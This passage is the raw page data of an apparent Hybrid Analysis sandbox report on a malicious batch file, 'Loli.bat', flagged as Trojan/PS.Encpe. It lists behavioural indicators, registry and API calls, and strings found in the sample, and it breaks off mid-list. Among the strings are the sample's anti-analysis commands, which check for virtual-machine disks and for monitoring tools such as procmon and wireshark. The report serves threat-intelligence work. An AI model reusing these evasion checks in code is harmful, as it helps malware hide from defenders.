24:I[7638,["/_next/static/chunks/1nkjstpmp978x.js","/_next/static/chunks/0g8d-v19n010u.js","/_next/static/chunks/2xonh_kqmr__3.js","/_next/static/chunks/3spet-0yezls2.js","/_next/static/chunks/2wvg5zqmbil4p.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/3l_wb6il5gi_h.js","/_next/static/chunks/136wug8odqdqr.js"],"SampleDetailWrapper"] 43:I[27201,["/_next/static/chunks/1nkjstpmp978x.js","/_next/static/chunks/0g8d-v19n010u.js","/_next/static/chunks/2xonh_kqmr__3.js","/_next/static/chunks/3spet-0yezls2.js"],"IconMark"] 23:T47a,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Trojan/PS.Encpe Sample 228a9cd76033… — Score 52/100 — Hybrid Analysis","description":"Malicious verdict for sample 228a9cd76033…. Malware family: Trojan/PS.Encpe. Threat score 52/100. 1/26 AV engines flagged this file. 1 malicious and 7 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/228a9cd76033febff9615c245a7cbbe9611d313c07c7d9627bead212da2d3d54","keywords":["Malicious","Trojan/PS.Encpe","malware analysis","sandbox report","threat intelligence","228a9cd76033febff9615c245a7cbbe9611d313c07c7d9627bead212da2d3d54"],"about":{"@type":"SoftwareApplication","name":"Loli.bat","applicationCategory":["script","bat"],"identifier":"228a9cd76033febff9615c245a7cbbe9611d313c07c7d9627bead212da2d3d54","additionalType":"Malicious sample"},"threatScore":52,"malwareFamily":"Trojan/PS.Encpe","antivirusDetections":{"malicious":1,"total":26},"behavioralIndicators":{"malicious":1,"suspicious":7},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}25:T160c,file/memory contains long string with (Indicator: "Aes"; File: "228a9cd76033febff9615c245a7cbbe9611d313c07c7d9627bead212da2d3d54.bin") file/memory contains long string with (Indicator: "Oid"; File: "228a9cd76033febff9615c245a7cbbe9611d313c07c7d9627bead212da2d3d54.bin") file/memory contains long string with (Indicator: "HKDF"; File: "228a9cd76033febff9615c245a7cbbe9611d313c07c7d9627bead212da2d3d54.bin") Found reference to ":JFUYsDbaWbXRnFfhrILyMcghDKKzdCGwpJhaQJSLiEnSfSjdwJzECQmgZmUitbwUVbbdYFQhqzPHoNClbgDUDCtZXABdojSGHTxDrFFqtRNDAesLkjHNYcQShBGYEntGgJzVQytVaMbmoqYtHqt" (Indicator: "Aes"; File: "228a9cd76033febff9615c245a7cbbe9611d313c07c7d9627bead212da2d3d54.bin") Found reference to ":WvFAVgoWFpaepQXzIKQMVXkdcSSRZnISsoraNQXqMMGYOmdyfRefAeszKbXDNXxRgIlBYwlrnZAJQMPqoTlHJdROvsQmtTcpOpr" (Indicator: "Aes"; File: "228a9cd76033febff9615c245a7cbbe9611d313c07c7d9627bead212da2d3d54.bin") Found reference to ":XqPmrsfSpnepcUneYvlJyaUpXZcAesIgGZxPpQhPLQlIlcWTnqQoZgewWZPSPfowfxjDXXpINWyhpMDuCJMncTHZuAtPAPzfcocntTvQBIbDiwHJVUPGTA" (Indicator: "Aes"; File: "228a9cd76033febff9615c245a7cbbe9611d313c07c7d9627bead212da2d3d54.bin") Found reference to ":mXNeWJefpqEjDbqrDWpZDYokgnYrkfoEOPZGjfhuqgvVHVXxRUPfprxOidxiknvKCzVnBkHXoviXdTcLQ" (Indicator: "Oid"; File: "228a9cd76033febff9615c245a7cbbe9611d313c07c7d9627bead212da2d3d54.bin") Found reference to ":NfWhivIJXglrkBWvPGUrjvHoPSHjxFBTfUBfylBIFkgYIVSYGfHWsFDSYhSQnYLRfRMPzrweELmyOiguzjdSyeaZQjHRTkVgYPsqJCZOidRgTFEpAYQEusTBqnzPjfLTqFZy" (Indicator: "Oid"; File: "228a9cd76033febff9615c245a7cbbe9611d313c07c7d9627bead212da2d3d54.bin") Found reference to ":JHSorfIIZgRLAeszSpFXdvRjOJsURHTiQXmTPhHzCfjuwNxGGawtHqpOpjahmoqRMjvcsZkliGVxMXmAMmNrKaaZiXegGZNNoRiNSVOhq" (Indicator: "Aes"; File: "228a9cd76033febff9615c245a7cbbe9611d313c07c7d9627bead212da2d3d54.bin") Found reference to ":qbbPWUopktdHkQZITdiVCyStcBPVbHWzAYcjfIrJwUwfVYxQdmYUCCmsIinUFSNcXeGMnpcKmYZhCnYEEyrpiBwylkaxVWEdHTIrRldoKOidcEpVJjQHbXtVhIaCOepPUwaifh" (Indicator: "Oid"; File: "228a9cd76033febff9615c245a7cbbe9611d313c07c7d9627bead212da2d3d54.bin") Found reference to ":RAFnMbujXUeoFHZcBeVhsefOidlWdlziGKOgiHbXKkwtGNvjovuuDecmVqFipYFmVwhussuuDxXIilIViCiiqEfcicLrBsileJYJfBrvAAqF" (Indicator: "Oid"; File: "228a9cd76033febff9615c245a7cbbe9611d313c07c7d9627bead212da2d3d54.bin") Found reference to ":MTCEEWxUtHUuEFtroytRitsCGVkhAesaZfJzfaODONhvMZxiVhMuwCbSazyimPUPOuVYwtLOjpCVLxqgYBLTRydWEqZgbf" (Indicator: "Aes"; File: "228a9cd76033febff9615c245a7cbbe9611d313c07c7d9627bead212da2d3d54.bin") Found reference to ":yeEZgCXYGHlYKtolUQBosSSFcoaKUlHNAgUvQfBzfOcxzCoxaRVseWVgMyxscMEVAYYdZtUpPBJdqUGZzdkCPOidLojSiIXSKG" (Indicator: "Oid"; File: "228a9cd76033febff9615c245a7cbbe9611d313c07c7d9627bead212da2d3d54.bin") Found reference to ":kwrblIoooJqfEvczBKIjeaIQxKjdXDHWHUwBFjNqFHgbXdeTvYOidwWKobebZKRlBUYkyatRwSdXtgsTf" (Indicator: "Oid"; File: "228a9cd76033febff9615c245a7cbbe9611d313c07c7d9627bead212da2d3d54.bin") Found reference to ":QgnGAYfunlrhakUdxkCxbthdafJVchndNHQOnqvuBteSWvvCtfvJVfLWzJfUPKSGyOTTTGqGoHwiPOHfkGbxmdHivtPeKafqbYTIbcjnpoVOidHkCAkJjUUVGkYZqLwNcGHqv" (Indicator: "Oid"; File: "228a9cd76033febff9615c245a7cbbe9611d313c07c7d9627bead212da2d3d54.bin") Found reference to ":zQiUMkebMgnDKAObKKnkZitZrQWQtiXmVhYSEHfJZwFkjTwYlevnCtPRWJcwOOidJAhdcvXCeeLccJpYUyfOnjkcRHvvejvLOcbjlSwpHtJXinoNTEcPiUpZPELUAbXujAOziGm" (Indicator: "Oid"; File: "228a9cd76033febff9615c245a7cbbe9611d313c07c7d9627bead212da2d3d54.bin") Found reference to ":EpIzlOXXRltcQykpJYtpstZDkWRYZuxVIiqjfVJJSNqRbRYWixRYxbCLQEOPxzxXoXUiHBKoPkWeCHbTxvpcdYYgffTaGuMTQTdEwqOgndJMEYJIdvRBJUuPynCcijhVYDOidWWHgJpAPL" (Indicator: "Oid"; File: "228a9cd76033febff9615c245a7cbbe9611d313c07c7d9627bead212da2d3d54.bin") Found reference to ":aIEUYCbFhNRBlrFGlBIkdIKLKlFAKZjEdFRofVsINLufrQvQTJYXRWsSysJnwauHeMXgZRbPJAXSNfUuqpgBBMnGMzqmMFLmQnAesOqBiJOQz" (Indicator: "Aes"; File: "228a9cd76033febff9615c245a7cbbe9611d313c07c7d9627bead212da2d3d54.bin") Found reference to ":CMAesRrdxhDpdeNvOLzUkMIXpUTXJucpdAyFPSYfzdrWbMzhElROGcKpEcoYyUTCFOLdgHfwnTUHUlvdUmSYdNjAqIBmdAhfJpRNAWBwFUbnHDUSgLDMBvZsfLnXGtSnlpxfUidykWTIlvs" (Indicator: "Aes"; File: "228a9cd76033febff9615c245a7cbbe9611d313c07c7d9627bead212da2d3d54.bin") Found reference to ":WWXBGGmIPqwVhVhlbiWIPrlzjozUrrcsEAQHalfFLfHrjhYTmiDeHZHflYSRHSRYNDQgEaLqDRwjjtPCQfhInxletlWBSOxtOidgQrOMXNbqdY" (Indicator: "Oid"; File: "228a9cd76033febff9615c245a7cbbe9611d313c07c7d9627bead212da2d3d54.bin") Found reference to ":NIXoXltAOfIzkNGxHBWXgdlqSuAeslDYkXHNNldWUtkVJDYGESjJNeOjXhWclOIcbjOMFtjVYzDntQgOWuaaBuLFIXqgOBlFkHtaoMALiNlNbbqGAHGqoiahYJDhCCGXOxClWGaJtOroIxe" (Indicator: "Aes"; File: "228a9cd76033febff9615c245a7cbbe9611d313c07c7d9627bead212da2d3d54.bin") Found reference to ":HOBEPqgrctcWwKizhbfwfiHjcaKcJQDSHBHvOvwLlBuBgNIJYRJdiuGYHRbogDhMpJOuCnklfTLdoFCPRAEsGakNvjnwUHfhUhLWyNGlgYyOidjBOMXfzpFPZBzTzoRYoeJ" (Indicator: "Oid"; File: "228a9cd76033febff9615c245a7cbbe9611d313c07c7d9627bead212da2d3d54.bin") Found reference to ":GaMPwCPcxsEeAeRKpoZvgdlGzsZvVGnNktaJsHDmqrRSjdIsiTfPZOidpFQEdUGqFquGDHShlnFpLSXVjgMCaYoWLxUmrzIVkaNt" (Indicator: "Oid"; File: "228a9cd76033febff9615c245a7cbbe9611d313c07c7d9627bead212da2d3d54.bin") Found reference to ":xHfzJHdISeQjlgIHiRwiAXPmipoPapoImooIEsVTbMZgSiUGlvwkMQxZrtQTSOidqIwwrACpwcGoyjTAVheesEvWqPRLcBANewqJlXPlsGnjJJbIZQxlkDklMaFcjrNubtJCsKPySsllQMMhnI" (Indicator: "Oid"; File: "228a9cd76033febff9615c245a7cbbe9611d313c07c7d9627bead212da2d3d54.bin") Found reference to ":suykJIgNpQnzBvkQvRkEioLFuCEWQcrKZUqMWkdkhWgBCpyxmJODXDVEispHEJxMYdZgEXuLozWMHKDFDGjGO" (Indicator: "HKDF"; File: "228a9cd76033febff9615c245a7cbbe9611d313c07c7d9627bead212da2d3d54.bin")26:T90f,"WMIC.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{0002E005-0000-0000-C000-000000000046}\INPROCHANDLER32") "WMIC.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{0002E005-0000-0000-C000-000000000046}\INPROCHANDLER32") "WMIC.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{0002E005-0000-0000-C000-000000000046}\INPROCHANDLER") "WMIC.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{0002E005-0000-0000-C000-000000000046}\INPROCHANDLER") "WMIC.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{0002E005-0000-0000-C000-000000000046}\PROGID") "WMIC.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{0002E005-0000-0000-C000-000000000046}\PROGID") "WMIC.exe" (Access type: "OPEN"; Path: "HKCU\WOW6432NODE\CLSID\{0002E005-0000-0000-C000-000000000046}\PROGID") "WMIC.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{0002E005-0000-0000-C000-000000000046}\PROGID") "WMIC.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{B54F3741-5B07-11CF-A4B0-00AA004A55E8}\TREATAS") "WMIC.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{B54F3741-5B07-11CF-A4B0-00AA004A55E8}\TREATAS") "WMIC.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{B54F3741-5B07-11CF-A4B0-00AA004A55E8}\INPROCSERVER32") "WMIC.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{B54F3741-5B07-11CF-A4B0-00AA004A55E8}\INPROCSERVER32") "WMIC.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{B54F3741-5B07-11CF-A4B0-00AA004A55E8}\INPROCHANDLER32") "WMIC.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{B54F3741-5B07-11CF-A4B0-00AA004A55E8}\INPROCHANDLER32") "WMIC.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{B54F3741-5B07-11CF-A4B0-00AA004A55E8}\INPROCHANDLER") "WMIC.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{B54F3741-5B07-11CF-A4B0-00AA004A55E8}\INPROCHANDLER") "WMIC.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{B54F3741-5B07-11CF-A4B0-00AA004A55E8}\LOCALSERVER32") "WMIC.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{B54F3741-5B07-11CF-A4B0-00AA004A55E8}\LOCALSERVER32") "WMIC.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{B54F3741-5B07-11CF-A4B0-00AA004A55E8}\LOCALSERVER") "WMIC.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{B54F3741-5B07-11CF-A4B0-00AA004A55E8}\LOCALSERVER")27:T61a,"cmd.exe" queried SystemProcessInformation at 00000000-00001908-00000C15-1505583307 [PID: 1908] "cmd.exe" queried SystemProcessInformation at 00000000-00001908-00000C15-1505592180 [PID: 1908] "cmd.exe" queried SystemProcessInformation at 00000000-00001908-00000C15-1505861533 [PID: 1908] "cmd.exe" queried SystemProcessInformation at 00000000-00001908-00000C15-1505869628 [PID: 1908] "WMIC.exe" queried SystemProcessInformation at 00000000-00002452-00000C15-1507489886 [PID: 2452] "WMIC.exe" queried SystemProcessInformation at 00000000-00002452-00000C15-1507499195 [PID: 2452] "WMIC.exe" queried SystemProcessInformation at 00000000-00002452-00000C15-1507907406 [PID: 2452] "WMIC.exe" queried SystemProcessInformation at 00000000-00002452-00000C15-1507915374 [PID: 2452] "WMIC.exe" queried SystemProcessInformation at 00000000-00002452-00000C15-1508397843 [PID: 2452] "WMIC.exe" queried SystemProcessInformation at 00000000-00002452-00000C15-1508407207 [PID: 2452] "WMIC.exe" queried SystemProcessInformation at 00000000-00005428-00000C15-1512762216 [PID: 5428] "WMIC.exe" queried SystemProcessInformation at 00000000-00005428-00000C15-1512771869 [PID: 5428] "WMIC.exe" queried SystemProcessInformation at 00000000-00005428-00000C15-1513049721 [PID: 5428] "WMIC.exe" queried SystemProcessInformation at 00000000-00005428-00000C15-1513057510 [PID: 5428] "WMIC.exe" queried SystemProcessInformation at 00000000-00005428-00000C15-1513578041 [PID: 5428] "WMIC.exe" queried SystemProcessInformation at 00000000-00005428-00000C15-1513587415 [PID: 5428]28:T693,file/memory contains long string(File: "228a9cd76033febff9615c245a7cbbe9611d313c07c7d9627bead212da2d3d54.bin") Found string "wmic diskdrive get Model 2>nul | findstr /i "VBOX" >nul 2>&1" (File: "228a9cd76033febff9615c245a7cbbe9611d313c07c7d9627bead212da2d3d54.bin") Found string "wmic diskdrive get Model 2>nul | findstr /i "VMWARE" >nul 2>&1" (File: "228a9cd76033febff9615c245a7cbbe9611d313c07c7d9627bead212da2d3d54.bin") Found string "wmic diskdrive get Model 2>nul | findstr /i "VIRTUAL" >nul 2>&1" (File: "228a9cd76033febff9615c245a7cbbe9611d313c07c7d9627bead212da2d3d54.bin") Found string "wmic diskdrive get Model 2>nul | findstr /i "QEMU" >nul 2>&1" (File: "228a9cd76033febff9615c245a7cbbe9611d313c07c7d9627bead212da2d3d54.bin") Found string "tasklist 2>nul | findstr /i "procmon" >nul 2>&1" (File: "228a9cd76033febff9615c245a7cbbe9611d313c07c7d9627bead212da2d3d54.bin") Found string "tasklist 2>nul | findstr /i "vmtoolsd" >nul 2>&1" (File: "228a9cd76033febff9615c245a7cbbe9611d313c07c7d9627bead212da2d3d54.bin") Found string "tasklist 2>nul | findstr /i "vboxservice" >nul 2>&1" (File: "228a9cd76033febff9615c245a7cbbe9611d313c07c7d9627bead212da2d3d54.bin") Found string "tasklist 2>nul | findstr /i "wireshark" >nul 2>&1" (File: "228a9cd76033febff9615c245a7cbbe9611d313c07c7d9627bead212da2d3d54.bin") Found string "%WINDIR%\System32\findstr.exe" (Source: "00000000-00001908-00000BC0-1507298918") Found string "%WINDIR%\system32\findstr.exe" (Source: "00000000-00001908-00000C47-4845557394") Found string "findstr /i "VBOX"" (Source: "00000000-00001908-00000C47-4845557394") Found string "findstr /i "VMWARE"" (Source: "00000000-00001908-00000C47-17254743264")29:Teb4,"cmd.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00001908) "cmd.exe" called "RtlGetVersion" with parameter 000000000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00001908) "WMIC.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00002452) "WMIC.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00002452) "WMIC.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00005428) "WMIC.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00005428)2a:T4b7,Found string "nslookup: WSAStartup:%0" (Indicator: "nslookup"; Source: "00000000-00002452.00000000.161068.A6650000.00000002.mdmp") Found string "nslookup [-opt ...] # interactive mode using default server" (Indicator: "nslookup"; Source: "00000000-00002452.00000000.161068.A6650000.00000002.mdmp") Found string "nslookup [-opt ...] - server # interactive mode using 'server'" (Indicator: "nslookup"; Source: "00000000-00002452.00000000.161068.A6650000.00000002.mdmp") Found string "nslookup [-opt ...] host # just look up 'host' using default server" (Indicator: "nslookup"; Source: "00000000-00002452.00000000.161068.A6650000.00000002.mdmp") Found string "nslookup [-opt ...] host server # just look up 'host' using 'server'" (Indicator: "nslookup"; Source: "00000000-00002452.00000000.161068.A6650000.00000002.mdmp") Found string "nslookup" (Indicator: "nslookup"; Source: "00000000-00002452.00000000.161068.A6650000.00000002.mdmp") Found string "nslookup.exe" (Indicator: "nslookup"; Source: "00000000-00002452.00000000.161068.A6650000.00000002.mdmp") Found string "nslookup.exe.mui" (Indicator: "nslookup"; Source: "00000000-00002452.00000000.161068.A6650000.00000002.mdmp")2b:T630,"cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00001908) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00001908) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00001908) "cmd.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00001908) "WMIC.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00002452) "WMIC.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00002452) "WMIC.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00002452) "WMIC.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00002452) "WMIC.exe" called "LoadLibrary" with a parameter amsi.dll (UID: 00000000-00002452) "WMIC.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\version.dll (UID: 00000000-00002452) "WMIC.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00005428) "WMIC.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00005428) "WMIC.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00005428) "WMIC.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00005428) "WMIC.exe" called "LoadLibrary" with a parameter amsi.dll (UID: 00000000-00005428) "WMIC.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\version.dll (UID: 00000000-00005428)2c:T3d0c,"cmd.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00001908) "cmd.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00001908) "cmd.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00001908) "cmd.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00001908) "cmd.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00001908) "cmd.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00001908) "cmd.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00001908) "cmd.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00001908) "cmd.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00001908) "cmd.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00001908) "cmd.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00001908) "cmd.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00001908) "cmd.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00001908) "cmd.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00001908) "cmd.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00001908) "cmd.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00001908) "cmd.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00001908) "cmd.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00001908) "cmd.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00001908) "cmd.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00001908) "cmd.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00001908) "cmd.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00001908) "cmd.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00001908) "cmd.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00001908) "cmd.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00001908) "cmd.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00001908) "cmd.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00001908) "cmd.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00001908) "cmd.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00001908) "cmd.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00001908) "cmd.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00001908) "cmd.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00001908) "cmd.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00001908) "cmd.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00001908) "cmd.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00001908) "cmd.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00001908) "cmd.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00001908) "cmd.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00001908) "cmd.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00001908) "cmd.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00001908) "cmd.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00001908) "cmd.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00001908) "cmd.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00001908) "cmd.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00001908) "cmd.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00001908) "cmd.exe" called "GetProcAddress" with a parameter CoGetInstanceFromFile (UID: 00000000-00001908) "cmd.exe" called "GetProcAddress" with a parameter CoGetInstanceFromIStorage (UID: 00000000-00001908) "WMIC.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00002452) "WMIC.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00002452) "WMIC.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00002452) "WMIC.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00002452) "WMIC.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00002452) "WMIC.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00002452) "WMIC.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00002452) "WMIC.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00002452) "WMIC.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00002452) "WMIC.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00002452) "WMIC.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00002452) "WMIC.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00002452) "WMIC.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00002452) "WMIC.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00002452) "WMIC.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00002452) "WMIC.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00002452) "WMIC.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00002452) "WMIC.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00002452) "WMIC.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00002452) "WMIC.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00002452) "WMIC.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00002452) "WMIC.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00002452) "WMIC.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00002452) "WMIC.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00002452) "WMIC.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00002452) "WMIC.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00002452) "WMIC.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00002452) "WMIC.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00002452) "WMIC.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00002452) "WMIC.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00002452) "WMIC.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00002452) "WMIC.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00002452) "WMIC.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00002452) "WMIC.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00002452) "WMIC.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00002452) "WMIC.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00002452) "WMIC.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00002452) "WMIC.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00002452) "WMIC.exe" called "GetProcAddress" with a parameter 